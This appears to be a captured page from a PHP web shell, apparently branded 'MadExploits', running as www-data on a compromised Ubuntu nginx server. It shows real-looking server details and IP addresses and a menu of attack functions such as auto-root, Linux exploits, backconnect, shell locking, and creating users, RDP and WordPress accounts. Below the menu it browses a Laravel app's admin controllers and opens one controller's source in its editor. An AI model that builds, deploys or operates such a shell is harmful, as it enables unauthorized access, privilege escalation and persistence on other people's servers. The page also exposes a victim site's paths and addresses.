Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Http /
Controllers /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Spatie
[ DIR ]
drwxrwxr-x
AccessController.php
2.48
KB
-rw-rw-r--
AddressController.php
3.29
KB
-rw-rw-r--
AdminUserController.php
8.74
KB
-rw-rw-r--
AppUserController.php
8.02
KB
-rw-rw-r--
CategoryController.php
3.02
KB
-rw-rw-r--
DashboardController.php
8.02
KB
-rw-rw-r--
FiscalController.php
1.28
KB
-rw-rw-r--
GeneralController.php
682
B
-rw-rw-r--
LoginController.php
2.28
KB
-rw-rw-r--
OfficeController.php
1.35
KB
-rw-rw-r--
PriorityController.php
2.15
KB
-rw-rw-r--
ReportController.php
21.01
KB
-rw-rw-r--
SifarisFormController.php
1.43
KB
-rw-rw-r--
SifarisRecordController.php
26.6
KB
-rw-rw-r--
StatusController.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AccessController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Helper; use Illuminate\Http\Request; use Rappasoft\LaravelAuthenticationLog\Models\AuthenticationLog; class AccessController extends Controller { private $helper; public function __construct(Helper $helper) { $this->helper = $helper; } public function logs(Request $request) { if(!can('View Access Log')) abort(404); $only = ['page','current_page', 'page_size', 'sort_by', 'sort_order', 'title', 'admin_id', 'from_date', 'to_date']; $filter = $this->helper->getFilterApi($request, $only); $query = app(AuthenticationLog::class); if (array_key_exists('title', $filter)) { $title = '%' . $filter['title'] . '%'; $query = $query->whereHas('authenticatable', function ($q) use ($title, $filter) { $q->where('name', 'like', $title) ->orWhere('email', 'like', $filter['title']); }); } if (array_key_exists('admin_id', $filter)) { $query = $query->whereHas('authenticatable', function ($q) use ($filter) { $q->where('id', $filter['admin_id']); }); } if (array_key_exists('from_date', $filter)) { $from_ad = adDate($filter['from_date']); $query = $query->whereDate('login_at', '>=', $from_ad); } if (array_key_exists('to_date', $filter)) { $to_ad = adDate($filter['to_date']); $query = $query->whereDate('login_at', '<=', $to_ad); } $filter['sort_by'] = 'login_at'; $sorter_pager = sorterPager($filter); if ($sorter_pager['sort_order'] == 'desc') { $query = $query->orderByDesc($sorter_pager['sort_by']); } else { $query = $query->orderBy($sorter_pager['sort_by']); } $sort_by = $sorter_pager['sort_by']; $sort_order = $sorter_pager['sort_order']; if (array_key_exists('sort_by', $filter)) { $sort_by = $filter['sort_by']; if (array_key_exists('sort_order', $filter)) { $sort_order = $filter['sort_order']; } } // dd($sorter_pager); $records = $query->with([ 'authenticatable' ])->paginate($sorter_pager['page_size'], ['*'], 'current_page', $sorter_pager['current_page']); return view('admin.access.logs', compact('records', 'sort_by', 'sort_order')); } }
Close